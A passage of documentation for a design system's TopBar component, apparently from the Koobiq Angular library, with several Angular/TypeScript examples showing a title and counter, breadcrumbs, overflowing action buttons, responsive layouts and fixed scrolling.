    template: `
        <kbq-top-bar>
            <div class="layout-row layout-align-center-center" kbqTopBarContainer placement="start">
                <div class="layout-row layout-margin-right-l flex-none">
                    <img alt="example icon" src="https://koobiq.io/assets/example-icon.svg" width="24" height="24" />
                </div>
                <div class="kbq-truncate-line example-kbq-top-bar__title" kbqTopBarTitle>
                    <span class="kbq-truncate-line layout-margin-right-xs">Dashboards</span>

                    <span class="example-kbq-top-bar__counter">{{ 13294 | kbqNumber: '' : 'en-US' }}</span>
                </div>
            </div>

            <div kbqTopBarSpacer></div>

            <div kbqTopBarContainer placement="end">
                <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems>
                    @for (action of actions; track action.id) {
                        <button
                            kbq-button
                            [kbqOverflowItem]="action.id"
                            [kbqStyle]="action.style"
                            [color]="action.color"
                            [kbqPlacement]="PopUpPlacements.Bottom"
                            [kbqTooltipArrow]="false"
                            [kbqTooltipDisabled]="isDesktop()"
                            [kbqTooltip]="action.text || action.id.toString()"
                            [alwaysVisible]="action?.alwaysVisible"
                        >
                            @if (action.icon) {
                                <i kbq-icon="" [class]="action.icon"></i>
                            }
                            @if ((action.text && isDesktop()) || (!action.icon && action.text)) {
                                {{ action.text }}
                            }
                        </button>
                    }

                    <div kbqOverflowItemsResult>
                        <button
                            kbq-button
                            aria-label="More"
                            [kbqStyle]="KbqButtonStyles.Transparent"
                            [color]="KbqComponentColors.Contrast"
                            [kbqDropdownTriggerFor]="appDropdown"
                        >
                            <i kbq-icon="kbq-ellipsis-horizontal_16"></i>
                        </button>

                        <kbq-dropdown #appDropdown="kbqDropdown">
                            @for (action of actions; track action.id) {
                                @if (kbqOverflowItems.hiddenItemIDs().has(action.id)) {
                                    <button kbq-dropdown-item>
                                        {{ action.text || action.id }}
                                    </button>
                                }
                            }
                        </kbq-dropdown>
                    </div>
                </div>
            </div>
        </kbq-top-bar>
    `,
    styles: `
        :host {
            .kbq-top-bar-container_start {
                --kbq-top-bar-container-start-min-width: 160px;
            }
        }

        .example-kbq-top-bar__counter {
            color: var(--kbq-foreground-contrast-tertiary);
        }

        .example-kbq-top-bar__title {
            display: inline-flex;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TopBarTitleCounterExample {
    readonly isDesktop = toSignal(
        inject(BreakpointObserver)
            .observe('(min-width: 900px)')
            .pipe(
                takeUntilDestroyed(),
                map(({ matches }) => matches)
            ),
        { initialValue: true }
    );

    protected readonly actions: ExampleAction[] = [
        {
            id: '1',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Transparent,
            icon: 'kbq-list_16',
            text: 'List'
        },
        {
            id: '2',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Transparent,
            icon: 'kbq-filter_16',
            text: 'Filter'
        },
        {
            id: '3',
            color: KbqComponentColors.Contrast,
            style: '',
            icon: 'kbq-plus_16',
            text: 'Create dashboard',
            alwaysVisible: true
        }
    ];

    protected readonly KbqComponentColors = KbqComponentColors;
    protected readonly KbqButtonStyles = KbqButtonStyles;
    protected readonly PopUpPlacements = PopUpPlacements;
}
```

#### Breadcrumbs

For internal pages of a specific module, using [Breadcrumbs](https://koobiq.io/en/components/breadcrumbs.md) is an excellent option. This helps users navigate the application more easily.

**Example: TopBar Breadcrumbs** (`top-bar-breadcrumbs`)

```ts top-bar-breadcrumbs-example.ts
import { BreakpointObserver } from '@angular/cdk/layout';
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { takeUntilDestroyed, toSignal } from '@angular/core/rxjs-interop';
import { RouterLink } from '@angular/router';
import { kbqBreadcrumbsConfigurationProvider, KbqBreadcrumbsModule } from '@koobiq/components/breadcrumbs';
import { KbqButtonModule, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors, PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { KbqTopBarModule } from '@koobiq/components/top-bar';
import { map } from 'rxjs/operators';

@Component({
    selector: 'top-bar-breadcrumbs-example',
    imports: [
        RouterLink,
        KbqTopBarModule,
        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule,
        KbqBreadcrumbsModule,
        KbqDropdownModule,
        KbqOverflowItemsModule
    ],
    template: `
        <kbq-top-bar>
            <div class="layout-align-center-center" kbqTopBarContainer placement="start">
                <div class="layout-row layout-margin-right-m flex-none">
                    <img alt="example icon" src="https://koobiq.io/assets/example-icon.svg" width="24" height="24" />
                </div>
                <nav class="flex" kbq-breadcrumbs size="big">
                    <kbq-breadcrumb-item text="Dashboards" routerLink="./dashboards" />
                    <kbq-breadcrumb-item text="MEIS Dashboard" routerLink="./dashboards/dashboard123" />
                </nav>
            </div>
            <div kbqTopBarSpacer></div>
            <div kbqTopBarContainer placement="end">
                <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems>
                    <button
                        kbqOverflowItem="0"
                        kbqTooltip="Filter"
                        kbq-button
                        aria-label="Filter"
                        [kbqStyle]="KbqButtonStyles.Transparent"
                        [color]="KbqComponentColors.Contrast"
                        [kbqPlacement]="PopUpPlacements.Bottom"
                        [kbqTooltipArrow]="false"
                    >
                        <i kbq-icon="kbq-filter_16"></i>
                    </button>

                    <button
                        kbqOverflowItem="1"
                        kbqTooltip="Share"
                        kbq-button
                        [kbqStyle]="KbqButtonStyles.Filled"
                        [color]="KbqComponentColors.ContrastFade"
                        [kbqTooltipDisabled]="isDesktop()"
                        [kbqPlacement]="PopUpPlacements.Bottom"
                        [kbqTooltipArrow]="false"
                    >
                        @if (isDesktop()) {
                            Share
                        } @else {
                            <i kbq-icon="kbq-arrow-up-from-rectangle_16"></i>
                        }
                    </button>

                    <div kbqOverflowItemsResult>
                        <button
                            kbq-button
                            aria-label="More"
                            [kbqStyle]="KbqButtonStyles.Transparent"
                            [color]="KbqComponentColors.Contrast"
                            [kbqDropdownTriggerFor]="appDropdown"
                        >
                            <i kbq-icon="kbq-ellipsis-horizontal_16"></i>
                        </button>

                        <kbq-dropdown #appDropdown="kbqDropdown">
                            @if (kbqOverflowItems.hiddenItemIDs().has('0')) {
                                <button kbq-dropdown-item>Filter</button>
                            }
                            @if (kbqOverflowItems.hiddenItemIDs().has('1')) {
                                <button kbq-dropdown-item>Share</button>
                            }
                        </kbq-dropdown>
                    </div>
                </div>
            </div>
        </kbq-top-bar>
    `,
    styles: `
        :host {
            .kbq-top-bar-container_start {
                --kbq-top-bar-container-start-min-width: 238px;
            }
        }
    `,
    providers: [kbqBreadcrumbsConfigurationProvider({ firstItemNegativeMargin: false })],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TopBarBreadcrumbsExample {
    readonly isDesktop = toSignal(
        inject(BreakpointObserver)
            .observe('(min-width: 900px)')
            .pipe(
                takeUntilDestroyed(),
                map(({ matches }) => matches)
            ),
        { initialValue: true }
    );

    protected readonly KbqComponentColors = KbqComponentColors;
    protected readonly KbqButtonStyles = KbqButtonStyles;
    protected readonly PopUpPlacements = PopUpPlacements;
}
```

#### Action buttons

On the right side of the toolbar, there is a dedicated area for placing any actions that need to be displayed on the current page.

We recommend using the following set of actions (from left to right):

- Indicators (e.g., data refresh indicator)
- A group of icon buttons (e.g., filters)
- Frequently used actions as buttons (e.g., "Add...", "Share")
- Additional actions in a dropdown menu, where all secondary actions related to the current page can be placed.

**Example: TopBar Actions** (`top-bar-actions`)

```ts top-bar-actions-example.ts
import { BreakpointObserver } from '@angular/cdk/layout';
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { takeUntilDestroyed, toSignal } from '@angular/core/rxjs-interop';
import { KbqButtonColor, KbqButtonModule, KbqButtonStyleInput, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors, PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { KbqTopBarModule } from '@koobiq/components/top-bar';
import { map } from 'rxjs/operators';

type ExampleAction = {
    id: string;
    icon?: string;
    text?: string;
    action?: () => void;
    style: KbqButtonStyleInput;
    color: KbqButtonColor;
    alwaysVisible?: boolean;
};

@Component({
    selector: 'top-bar-actions-example',
    imports: [
        KbqTopBarModule,
        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule,
        KbqDropdownModule,
        KbqOverflowItemsModule
    ],
    template: `
        <kbq-top-bar>
            <div class="layout-row layout-align-center-center" kbqTopBarContainer placement="start">
                <span class="kbq-truncate-line" kbqTopBarTitle>Actions</span>
            </div>

            <div kbqTopBarSpacer></div>

            <div kbqTopBarContainer placement="end">
                <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems>
                    @for (action of actions; track action.id) {
                        <button
                            kbq-button
                            [kbqOverflowItem]="action.id"
                            [alwaysVisible]="action?.alwaysVisible"
                            [kbqStyle]="action.style"
                            [color]="action.color"
                            [kbqPlacement]="PopUpPlacements.Bottom"
                            [kbqTooltipArrow]="false"
                            [kbqTooltipDisabled]="canTooltipBeAppied(action)"
                            [kbqTooltip]="action.text || action.id"
                        >
                            @if (action.icon) {
                                <i kbq-icon="" [class]="action.icon"></i>
                            }
                            @if (canTooltipBeAppied(action)) {
                                {{ action.text }}
                            }
                        </button>
                    }

                    <div kbqOverflowItemsResult>
                        <button
                            kbq-button
                            aria-label="More"
                            [kbqStyle]="KbqButtonStyles.Transparent"
                            [color]="KbqComponentColors.Contrast"
                            [kbqDropdownTriggerFor]="appDropdown"
                        >
                            <i kbq-icon="kbq-ellipsis-horizontal_16"></i>
                        </button>

                        <kbq-dropdown #appDropdown="kbqDropdown">
                            @for (action of actions; track action.id) {
                                @if (kbqOverflowItems.hiddenItemIDs().has(action.id)) {
                                    <button kbq-dropdown-item>
                                        {{ action.text || action.id }}
                                    </button>
                                }
                            }
                        </kbq-dropdown>
                    </div>
                </div>
            </div>
        </kbq-top-bar>
    `,
    styles: `
        .kbq-overflow-items {
            max-width: 400px;
        }

        :host {
            .kbq-top-bar-container_start {
                --kbq-top-bar-container-start-min-width: 55px;
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TopBarActionsExample {
    readonly isDesktop = toSignal(
        inject(BreakpointObserver)
            .observe('(min-width: 900px)')
            .pipe(
                takeUntilDestroyed(),
                map(({ matches }) => matches)
            ),
        { initialValue: true }
    );

    readonly actions: ExampleAction[] = [
        {
            id: 'refresh',
            icon: 'kbq-arrow-rotate-right_16',
            text: 'Reload',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Transparent
        },
        {
            id: 'Search',
            icon: 'kbq-magnifying-glass_16',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Transparent
        },
        { id: 'List', icon: 'kbq-list_16', color: KbqComponentColors.Contrast, style: KbqButtonStyles.Transparent },
        { id: 'Filter', icon: 'kbq-filter_16', color: KbqComponentColors.Contrast, style: KbqButtonStyles.Transparent },
        { id: 'Action', text: 'Action', color: KbqComponentColors.ContrastFade, style: '' },
        {
            id: 'primary-action',
            text: 'Primary action',
            color: KbqComponentColors.Contrast,
            style: '',
            alwaysVisible: true
        },
        ...Array.from({ length: 3 }, (_, i): ExampleAction => ({
            id: `action${i + 7}`,
            text: `Action ${i + 7}`,
            color: KbqComponentColors.ContrastFade,
            style: ''
        }))
    ];

    // only show tooltip on button icon
    canTooltipBeAppied(action: ExampleAction): boolean {
        return (!!action.text && this.isDesktop()) || (!action.icon && !!action.text);
    }

    protected readonly KbqComponentColors = KbqComponentColors;
    protected readonly KbqButtonStyles = KbqButtonStyles;
    protected readonly PopUpPlacements = PopUpPlacements;
}
```

#### Responsive mode

Internal elements can adjust to the toolbar size.

The minimum allowed spacing between the left side and the right side with actions is **80px** and is defined using the CSS variable `--kbq-top-bar-spacer-min-width`.

##### Breadcrumbs variant

When the panel is compressed, the breadcrumbs will adjust as follows:

**Example: Top Bar Breadcrumbs Adaptive** (`top-bar-breadcrumbs-adaptive`)

```ts top-bar-breadcrumbs-adaptive-example.ts
import { BreakpointObserver } from '@angular/cdk/layout';
import { ChangeDetectionStrategy, Component, computed, inject, InjectionToken } from '@angular/core';
import { takeUntilDestroyed, toSignal } from '@angular/core/rxjs-interop';
import { RouterLink } from '@angular/router';
import { kbqBreadcrumbsConfigurationProvider, KbqBreadcrumbsModule } from '@koobiq/components/breadcrumbs';
import { KbqButtonModule, KbqButtonStyles } from '@koobiq/components/button';
import { KBQ_LOCALE_SERVICE, KbqComponentColors, PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { KbqTopBarModule } from '@koobiq/components/top-bar';
import { of } from 'rxjs';
import { map } from 'rxjs/operators';

interface ExampleLocalizedText {
    breadcrumbShortening: string;
    leftmostHidden: string;
    currentItemTruncation: string;
    rightSideCompression: string;
}

const ExampleLocalizedData = new InjectionToken<Record<string | 'default', ExampleLocalizedText>>(
    'ExampleLocalizedData',
    {
        factory: () => ({
            'ru-RU': {
                breadcrumbShortening:
                    'За основу берется автоматическое сокращение хлебных крошек, когда средние пункты скрываются при отсутствии свободного пространства.',
                leftmostHidden:
                    'Если пространство становится еще уже, то скрывается и левый крайний уровень у хлебных крошек, оставляя видимым только крайний правый уровень.',
                currentItemTruncation:
                    'Минимальная ширина левой стороны зависит от заголовка текущего пункта, который может быть обрезан до 3 символов с добавлением трех точек (…).',
                rightSideCompression:
                    'После достижения минимальной ширины у левой стороны можно приступить к сжатию правой стороны с действиями. '
            } satisfies ExampleLocalizedText,
            default: {
                breadcrumbShortening:
                    'The automatic breadcrumb shortening is used as the basis, where middle items are hidden when there is not enough free space.',
                leftmostHidden:
                    'If the space becomes even narrower, the leftmost breadcrumb level is also hidden, leaving only the rightmost level visible.',
                currentItemTruncation:
                    'The minimum width of the left side depends on the title of the current item, which can be truncated to 3 characters with an ellipsis (…).',
                rightSideCompression:
                    'After reaching the minimum width on the left side, the compression of the right side with actions can begin.'
            } satisfies ExampleLocalizedText
        })
    }
);

@Component({
    selector: 'example-top-bar-breadcrumbs',
    imports: [
        KbqTopBarModule,
        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule,
        KbqDropdownModule,
        KbqOverflowItemsModule,
        KbqBreadcrumbsModule,
        RouterLink
    ],
    template: `
        <kbq-top-bar withShadow>
            <div class="layout-align-center-center" kbqTopBarContainer placement="start">
                <div class="layout-row layout-margin-right-m flex-none">
                    <img alt="example icon" src="https://koobiq.io/assets/example-icon.svg" width="24" height="24" />
                </div>
                <nav kbq-breadcrumbs size="big">
                    <kbq-breadcrumb-item text="Main" routerLink="./main" />
                    <kbq-breadcrumb-item text="Section" routerLink="./main/sections" />
                    <kbq-breadcrumb-item routerLink="./main/sections/details" text="Details">
                        <a
                            *kbqBreadcrumbView
                            class="kbq-truncate-line"
                            routerLink="./main/sections/page/details"
                            tabindex="-1"
                        >
                            <button disabled aria-current="page" kbq-button kbqBreadcrumb>
                                <span>Details</span>
                                <i
                                    kbq-icon="kbq-circle-info_16"
                                    kbqTooltip="Info"
                                    [kbqPlacement]="PopUpPlacements.Bottom"
                                    [kbqTooltipArrow]="false"
                                ></i>
                            </button>
                        </a>
                    </kbq-breadcrumb-item>
                </nav>
            </div>
            <div kbqTopBarSpacer></div>
            <div kbqTopBarContainer placement="end">
                <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems>
                    <button
                        kbqOverflowItem="filter"
                        kbqTooltip="Filter"
                        kbq-button
                        aria-label="Filter"
                        [kbqStyle]="KbqButtonStyles.Transparent"
                        [color]="KbqComponentColors.Contrast"
                        [kbqPlacement]="PopUpPlacements.Bottom"
                        [kbqTooltipArrow]="false"
                    >
                        <i kbq-icon="kbq-filter_16"></i>
                    </button>

                    <button
                        kbqOverflowItem="share"
                        kbqTooltip="Share"
                        kbq-button
                        [kbqStyle]="KbqButtonStyles.Filled"
                        [color]="KbqComponentColors.ContrastFade"
                        [kbqTooltipDisabled]="isDesktop()"
                        [kbqPlacement]="PopUpPlacements.Bottom"
                        [kbqTooltipArrow]="false"
                    >
                        @if (isDesktop()) {
                            Share
                        } @else {
                            <i kbq-icon="kbq-arrow-up-from-rectangle_16"></i>
                        }
                    </button>

                    <div kbqOverflowItemsResult>
                        <button
                            kbq-button
                            aria-label="More"
                            [kbqStyle]="KbqButtonStyles.Transparent"
                            [color]="KbqComponentColors.Contrast"
                            [kbqDropdownTriggerFor]="appDropdown"
                        >
                            <i kbq-icon="kbq-ellipsis-horizontal_16"></i>
                        </button>

                        <kbq-dropdown #appDropdown="kbqDropdown">
                            @if (kbqOverflowItems.hiddenItemIDs().has('filter')) {
                                <button kbq-dropdown-item>Filter</button>
                            }
                            @if (kbqOverflowItems.hiddenItemIDs().has('share')) {
                                <button kbq-dropdown-item>Share</button>
                            }
                        </kbq-dropdown>
                    </div>
                </div>
            </div>
        </kbq-top-bar>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            height: 72px;
            max-width: 100%;
            min-width: 110px;
            container-type: inline-size;

            .kbq-top-bar {
                width: 100%;
            }

            .kbq-top-bar-container_start {
                --kbq-top-bar-container-start-min-width: 180px;
            }
        }

        .example-kbq-top-bar__title {
            display: inline-flex;
        }
    `,
    providers: [kbqBreadcrumbsConfigurationProvider({ firstItemNegativeMargin: false })],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleTopBarBreadcrumbs {
    readonly isDesktop = toSignal(
        inject(BreakpointObserver)
            .observe('(min-width: 900px)')
            .pipe(
                takeUntilDestroyed(),
                map(({ matches }) => matches)
            ),
        { initialValue: true }
    );

    protected readonly KbqComponentColors = KbqComponentColors;
    protected readonly KbqButtonStyles = KbqButtonStyles;
    protected readonly PopUpPlacements = PopUpPlacements;
}

@Component({
    selector: 'top-bar-breadcrumbs-adaptive-example',
    imports: [ExampleTopBarBreadcrumbs],
    template: `
        <div class="layout-margin-bottom-l">
            {{ text().breadcrumbShortening }}
        </div>
        <example-top-bar-breadcrumbs />

        <div class="layout-margin-top-3xl layout-margin-bottom-l">
            {{ text().leftmostHidden }}
        </div>
        <example-top-bar-breadcrumbs [style.width.px]="500" />

        <div class="layout-margin-top-3xl layout-margin-bottom-l">
            {{ text().currentItemTruncation }}
        </div>
        <example-top-bar-breadcrumbs [style.width.px]="400" />

        <div class="layout-margin-top-3xl layout-margin-bottom-l">
            {{ text().rightSideCompression }}
        </div>
        <example-top-bar-breadcrumbs [style.width.px]="342" />
    `,
    styles: `
        div {
            color: var(--kbq-foreground-contrast-secondary);
            margin: var(--kbq-size-s) var(--kbq-size-s) 0;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TopBarBreadcrumbsAdaptiveExample {
    protected readonly data = inject(ExampleLocalizedData);
    protected readonly localeId = toSignal(inject(KBQ_LOCALE_SERVICE, { optional: true })?.changes || of(''));

    protected readonly text = computed(() => {
        const localeId = this.localeId();

        return (localeId && this.data[localeId]) || this.data.default;
    });
}
```

##### Page title variant

The variant using only the page title will adjust as follows:

**Example: Top Bar Title And Counter Adaptive** (`top-bar-title-counter-adaptive`)

```ts top-bar-title-counter-adaptive-example.ts
import { BreakpointObserver } from '@angular/cdk/layout';
import { ChangeDetectionStrategy, Component, computed, inject, InjectionToken } from '@angular/core';
import { takeUntilDestroyed, toSignal } from '@angular/core/rxjs-interop';
import { KbqButtonColor, KbqButtonModule, KbqButtonStyleInput, KbqButtonStyles } from '@koobiq/components/button';
import { KBQ_LOCALE_SERVICE, KbqComponentColors, KbqFormattersModule, PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { KbqTopBarModule } from '@koobiq/components/top-bar';
import { of } from 'rxjs';
import { map } from 'rxjs/operators';

interface ExampleLocalizedText {
    fullDisplay: string;
    truncatedTitle: string;
    compressRight: string;
}

const ExampleLocalizedData = new InjectionToken<Record<string | 'default', ExampleLocalizedText>>(
    'ExampleLocalizedData',
    {
        factory: () => ({
            'ru-RU': {
                fullDisplay: 'Когда есть свободное пространство заголовок и действия отображаются полностью',
                truncatedTitle:
                    'Минимальная ширина левой стороны зависит от заголовка страницы, который может быть обрезан до 3 символов с добавлением трех точек (…).',
                compressRight:
                    'После достижения минимальной ширины у левой стороны можно приступить к сжатию правой стороны с действиями. '
            } satisfies ExampleLocalizedText,
            default: {
                fullDisplay: 'When there is free space, the title and actions are fully displayed.',
                truncatedTitle:
                    'The minimum width of the left side depends on the page title, which can be truncated to 3 characters with the addition of three dots (…).',
                compressRight:
                    'After reaching the minimum width of the left side, you can start compressing the right side with the actions.'
            } satisfies ExampleLocalizedText
        })
    }
);

type ExampleAction = {
    id: string;
    icon?: string;
    text?: string;
    action?: () => void;
    style: KbqButtonStyleInput;
    color: KbqButtonColor;
};

@Component({
    selector: 'example-top-bar',
    imports: [
        KbqTopBarModule,
        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule,
        KbqDropdownModule,
        KbqOverflowItemsModule,
        KbqFormattersModule
    ],
    template: `
        <kbq-top-bar withShadow>
            <div class="layout-row layout-align-center-center" kbqTopBarContainer placement="start">
                <div class="layout-row layout-margin-right-l flex-none">
                    <img alt="example icon" src="https://koobiq.io/assets/example-icon.svg" width="24" height="24" />
                </div>
                <div class="kbq-truncate-line example-kbq-top-bar__title" kbqTopBarTitle>
                    <span class="kbq-truncate-line layout-margin-right-xs">Page Header</span>

                    <span class="example-kbq-top-bar__counter">{{ 10 | kbqNumber: '' : 'en-US' }}</span>
                </div>
            </div>

            <div kbqTopBarSpacer></div>

            <div kbqTopBarContainer placement="end">
                <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems>
                    @for (action of actions; track action.id) {
                        <button
                            kbq-button
                            [kbqOverflowItem]="action.id"
                            [kbqStyle]="action.style"
                            [color]="action.color"
                            [kbqPlacement]="PopUpPlacements.Bottom"
                            [kbqTooltipArrow]="false"
                            [kbqTooltipDisabled]="isDesktop()"
                            [kbqTooltip]="action.text || action.id"
                        >
                            @if (action.icon) {
                                <i kbq-icon="" [class]="action.icon"></i>
                            }
                            @if ((action.text && isDesktop()) || (!action.icon && action.text)) {
                                {{ action.text }}
                            }
                        </button>
                    }

                    <div kbqOverflowItemsResult>
                        <button
                            kbq-button
                            aria-label="More"
                            [kbqStyle]="KbqButtonStyles.Transparent"
                            [color]="KbqComponentColors.Contrast"
                            [kbqDropdownTriggerFor]="appDropdown"
                        >
                            <i kbq-icon="kbq-ellipsis-horizontal_16"></i>
                        </button>

                        <kbq-dropdown #appDropdown="kbqDropdown">
                            @for (action of actions; track action.id) {
                                @if (kbqOverflowItems.hiddenItemIDs().has(action.id)) {
                                    <button kbq-dropdown-item>
                                        {{ action.text || action.id }}
                                    </button>
                                }
                            }
                        </kbq-dropdown>
                    </div>
                </div>
            </div>
        </kbq-top-bar>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            height: 72px;
            max-width: 100%;
            min-width: 110px;
            container-type: inline-size;

            .kbq-top-bar {
                width: 100%;
            }

            .kbq-top-bar-container_start {
                --kbq-top-bar-container-start-min-width: 115px;
            }

            .kbq-overflow-items {
                min-width: 32px;
            }
        }

        .example-kbq-top-bar__counter {
            color: var(--kbq-foreground-contrast-tertiary);
        }

        .example-kbq-top-bar__title {
            display: inline-flex;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ExampleTopBar {
    readonly isDesktop = toSignal(
        inject(BreakpointObserver)
            .observe('(min-width: 900px)')
            .pipe(
                takeUntilDestroyed(),
                map(({ matches }) => matches)
            ),
        { initialValue: true }
    );

    readonly actions: ExampleAction[] = [
        { id: 'filter', icon: 'kbq-filter_16', color: KbqComponentColors.Contrast, style: KbqButtonStyles.Transparent },
        { id: 'button1', text: 'Add object', color: KbqComponentColors.Contrast, style: '' },
        { id: 'button2', text: 'Button 2', color: KbqComponentColors.ContrastFade, style: '' }
    ];

    protected readonly KbqComponentColors = KbqComponentColors;
    protected readonly KbqButtonStyles = KbqButtonStyles;
    protected readonly PopUpPlacements = PopUpPlacements;
}

@Component({
    selector: 'top-bar-title-counter-adaptive-example',
    imports: [ExampleTopBar],
    template: `
        <div class="example-text layout-margin-bottom-l">
            {{ text().fullDisplay }}
        </div>
        <example-top-bar [style.width.px]="680" />

        <div class="example-text layout-margin-bottom-l layout-margin-top-3xl">
            {{ text().truncatedTitle }}
        </div>
        <example-top-bar [style.width.px]="437" />

        <div class="example-text layout-margin-bottom-l layout-margin-top-3xl">
            {{ text().compressRight }}
        </div>
        <example-top-bar [style.width.px]="314" />
    `,
    styles: `
        :host .example-text {
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TopBarTitleCounterAdaptiveExample {
    protected readonly data = inject(ExampleLocalizedData);
    protected readonly localeId = toSignal(inject(KBQ_LOCALE_SERVICE, { optional: true })?.changes || of(''));

    protected readonly text = computed(() => {
        const localeId = this.localeId();

        return (localeId && this.data[localeId]) || this.data.default;
    });
}
```

A more detailed explanation of breadcrumb compression is provided on the [Breadcrumbs](https://koobiq.io/en/components/breadcrumbs.md) page.

##### Scroll behavior

The toolbar can remain fixed while scrolling the page.

**Example: TopBar Overflow** (`top-bar-overflow`)

```ts top-bar-overflow-example.ts
import { BreakpointObserver } from '@angular/cdk/layout';
import { CdkScrollable } from '@angular/cdk/overlay';
import {
    AfterViewInit,
    ChangeDetectionStrategy,
    Component,
    inject,
    signal,
    viewChild,
    WritableSignal
} from '@angular/core';
import { takeUntilDestroyed, toSignal } from '@angular/core/rxjs-interop';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqButtonColor, KbqButtonModule, KbqButtonStyleInput, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors, KbqFormattersModule, PopUpPlacements } from '@koobiq/components/core';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqOverflowItemsModule } from '@koobiq/components/overflow-items';
import { KbqNativeScrollbar } from '@koobiq/components/scrollbar';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { KbqTopBarModule } from '@koobiq/components/top-bar';
import { auditTime, map } from 'rxjs/operators';

type ExampleAction = {
    id: string;
    icon?: string;
    text?: string;
    action?: () => void;
    style: KbqButtonStyleInput;
    color: KbqButtonColor;
    alwaysVisible?: boolean;
};

@Component({
    selector: 'top-bar-overflow-example',
    imports: [
        CdkScrollable,
        KbqTopBarModule,
        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule,
        KbqDl,
        KbqDt,
        KbqDd,
        KbqBadgeModule,
        KbqDropdownModule,
        KbqOverflowItemsModule,
        KbqNativeScrollbar,
        KbqFormattersModule
    ],
    template: `
        <kbq-top-bar [withShadow]="hasOverflow()">
            <div class="layout-align-center-center" kbqTopBarContainer placement="start">
                <div class="example-kbq-top-bar__title" kbqTopBarTitle>
                    <span class="kbq-truncate-line layout-margin-right-xs">Page</span>

                    <span class="example-kbq-top-bar__counter">{{ 13294 | kbqNumber: '' : 'en-US' }}</span>
                </div>
            </div>
            <div kbqTopBarSpacer></div>
            <div kbqTopBarContainer placement="end">
                <div #kbqOverflowItems="kbqOverflowItems" kbqOverflowItems>
                    @for (action of actions; track action.id) {
                        <button
                            kbq-button
                            [kbqOverflowItem]="action.id"
                            [kbqStyle]="action.style"
                            [color]="action.color"
                            [kbqPlacement]="PopUpPlacements.Bottom"
                            [kbqTooltipArrow]="false"
                            [kbqTooltipDisabled]="canTooltipBeAppied(action)"
                            [kbqTooltip]="action.text || action.id"
                            [alwaysVisible]="action?.alwaysVisible"
                        >
                            @if (action.icon) {
                                <i kbq-icon="" [class]="action.icon"></i>
                            }
                            @if (canTooltipBeAppied(action)) {
                                {{ action.text }}
                            }
                        </button>
                    }

                    <div kbqOverflowItemsResult>
                        <button
                            kbq-button
                            aria-label="More"
                            [kbqStyle]="KbqButtonStyles.Transparent"
                            [color]="KbqComponentColors.Contrast"
                            [kbqDropdownTriggerFor]="appDropdown"
                        >
                            <i kbq-icon="kbq-ellipsis-horizontal_16"></i>
                        </button>

                        <kbq-dropdown #appDropdown="kbqDropdown">
                            @for (action of actions; track action.id) {
                                @if (kbqOverflowItems.hiddenItemIDs().has(action.id)) {
                                    <button kbq-dropdown-item>
                                        {{ action.text || action.id }}
                                    </button>
                                }
                            }
                        </kbq-dropdown>
                    </div>
                </div>
            </div>
        </kbq-top-bar>
        <div kbqNativeScrollbar class="overflow-content-example" cdkScrollable>
            <div style="height: 600px">
                <kbq-dl>
                    <kbq-dt>Description</kbq-dt>
                    <kbq-dd>
                        NASA describes a case where a person accidentally ended up in an area close to a vacuum
                        (pressure below 1 Pa) due to an air leak from a spacesuit.
                    </kbq-dd>

                    <kbq-dt>Status</kbq-dt>
                    <kbq-dd><kbq-badge>Badge</kbq-badge></kbq-dd>

                    <kbq-dt>Additional Information</kbq-dt>
                    <kbq-dd>
                        Space is an endless expanse full of mysteries and wonders. It begins beyond our atmosphere and
                        stretches to the farthest corners of the Universe. In space, there are billions of stars,
                        planets, and galaxies, each with its own unique story and characteristics. Exploring space helps
